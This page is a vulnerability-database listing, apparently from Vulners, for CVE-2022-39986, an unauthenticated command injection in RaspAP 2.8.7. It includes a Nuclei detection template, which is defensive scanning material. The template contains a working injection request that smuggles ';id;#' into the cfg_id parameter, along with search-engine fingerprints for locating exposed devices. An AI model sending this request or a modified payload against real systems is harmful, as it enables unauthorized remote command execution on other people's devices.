Lucene search
+L

RaspAP 2.8.7 - Unauthenticated Command Injection

🗓️ 17 Oct 2026 02:05:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 115 Views

RaspAP 2.8.7 - Unauthenticated Command Injection, allows execution of arbitrary commands via cfg_id paramete

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
RaspAP 2.8.7 Unauthenticated Command Injection Exploit
15 Aug 202300:00
–zdt
attackerkb
attackerkb
CVE-2022-39986
1 Aug 202314:15
–attackerkb
bdu_fstec
BDU FSTEC
Debian RaspAP Arbitrary Command Execution
17 Oct 202300:00
–bdu_fstec
circl
Circl
CVE-2022-39986
1 Aug 202318:38
–circl
cnnvd
CNNVD
RaspAP Command Injection Vulnerability
1 Aug 202300:00
–cnnvd
cve
CVE
CVE-2022-39986
1 Aug 202300:00
–cve
cvelist
Cvelist
CVE-2022-39986
1 Aug 202300:00
–cvelist
github
Github Security Blog
RaspAP Command Injection vulnerability
1 Aug 202315:30
–github
kitploit
Kitploit
CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE
25 Oct 202605:24
–kitploit
kittysploit
KittySploit
RaspAP 2.8.7 - Unauthenticated Command Injection Detection
28 Jul 202611:27
–kittysploit
Rows per page
id: CVE-2022-39986

info:
  name: RaspAP 2.8.7 - Unauthenticated Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Upgrade to a patched version of RaspAP or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39986
    - https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
    - http://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html
    - https://github.com/RaspAP/raspap-webgui/blob/master/ajax/openvpn/activate_ovpncfg.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-39986
    cwe-id: CWE-77
    epss-score: 0.99058
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: raspap
    product: raspap
    shodan-query: http.favicon.hash:-1465760059
    fofa-query: icon_hash=-1465760059
  tags: cve,cve2022,packetstorm,raspap,rce,vkev,vuln

http:
  - raw:
      - |
        POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cfg_id=;id;#

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ea01912b1d3f56f3975f79a50f00d2da82a4ac7b07c05bbcb657d20a0144752e02204fd5dc5a2c810927fd1a3e2e6ecc1ddee4314e1a8b7e1a5e5b4815e1e8529356:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.99058
SSVC
115